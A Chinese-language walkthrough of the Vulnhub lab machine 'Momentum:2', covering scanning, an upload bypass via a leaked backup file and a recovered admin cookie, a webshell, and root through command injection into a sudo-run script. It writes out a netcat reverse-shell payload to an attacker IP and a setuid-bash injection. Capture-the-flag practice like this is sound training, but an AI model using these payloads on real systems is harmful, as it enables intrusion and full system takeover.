【Vulnhub】Monmentum:2
【Vulnhub】Monmentum:2
Description
Keywords : curl, bash, code review
信息收集
fscan 扫描内网,确定目标IP为:192.168.1.5

nmap 扫描目标全端口和服务
nmap -A -sV -p- 192.168.1.5

确定目标开放端口 22、80
进入 80 服务web页面

查看网站源码、开发工作台没结果
dirsearch 扫描
dirsearch -u http://192.168.1.5/

首先是 /js/main.js

这个 js 文件写了一个文件上传函数
根据 uploadFile 函数表明:
文件通过 XMLHttpRequest 以 multipart/form-data 的形式上传至 ajax.php
但是后端 ajax.php 可能做了文件类型的检查,通常检查文件扩展名、MIME 类型或文件内容。
然后是 /img/ 目录内保存了 80 端口主页的三个图片,猜测后续上传图片的话会上传到这里
然后看 /dashboard.html

文件上传在这儿。。。页面还有一行提示“Upload Your Research File about Owls”
漏洞利用
抓包上传,response 返回值是 0,根据上面的 js 文件上传函数内容可以判断是“File not uploaded”

这里尝试各种绕过测试

修改 name 值直接不返回 response,然后尝试修改各种 filename 值的后缀,发现 txt 后缀上传成功

进入 /owls/ 目录,看到成功上传的文件

点开发现页面直接把 webshell 的代码打印出来了,说明 php 代码没有被解析,那么用 webshell 工具就连接不上了

所以想想其他办法。。。
前面我们目录扫描的时候有发现 main.js 文件里提到过的 ajax.php 文件,当时点开发现是空白的,然后查看那个页面的源代码只有一个“1”
但是我们上传 php 后缀的文件是不成功的,而且前面提到过文件是可能经过 ajax.php 检查过的,那么 ajax.php 文件内容不会那么简单
再次用 dirsearch 扫描目标是否存在备份文件(筛选掉403状态请求)
dirsearch -u http://192.168.1.5/ -x 403 -f -e .php.bak,.zip,.tar,.7z

发现 ajax.php.bak 文件
下载这个文件,去掉 bak 后缀,打开

分析内容
表明,当 isset 值为 admin 或者 admin的 cookie 为 &G6u@B6uDXMq&Ms 的时候是可以上传 php 后缀的文件
否则只能上传 txt 后缀文件
ok
在我们之前的 request 请求包里面加 Cookie,但是上传还是失败了

仔细看一下 ajax.php 文件内容,根据注释中的提示
1、COOKIE['admin']的值需要多加一个大写字母才能生效
2、还有要求添加额外的 POST 参数 secure 验证

先枚举测试最后一个大写字母

测试出来是R

并且成功上传
Godzilla 连接

查看用户
cat /etc/passwd

发现有一个 athenax 用户
进入用户目录,拿到 user.txt 里的 flag

在 athenax 用户目录中查看到还有一个文件 password-reminder.txt 文件
cat password-reminder.txt

文件内容为:myvulnerableapp[Asterisk],猜测为该用户的密码

所以 athena 的密码为 myvulnerableapp*
ssh连接成功
提权
查看用户权限

测试,可以执行一个python脚本,并且查看了脚本内容

分析这个 cookie-gen.py 代码。是一个cookie生成脚本,过程中有一个 input 的值会被 echo 到 log.txt 文件中,然后执行 bash 命令
那么再次执行脚本,将反弹shell代码输入进去
;nc -e /bin/sh 192.168.1.8 1234;
但是,我这里失败了。。。(一直显示连接中)

尝试第二种方法
给 /bin/bash 增加 suid 权限,让普通用户临时拥有该文件的属主的执行权限
;chmod u+s /bin/bash

成功后,直接执行 /bin/bash -p 获取 root 会话

拿到 root 用户的 flag


浙公网安备 33010602011771号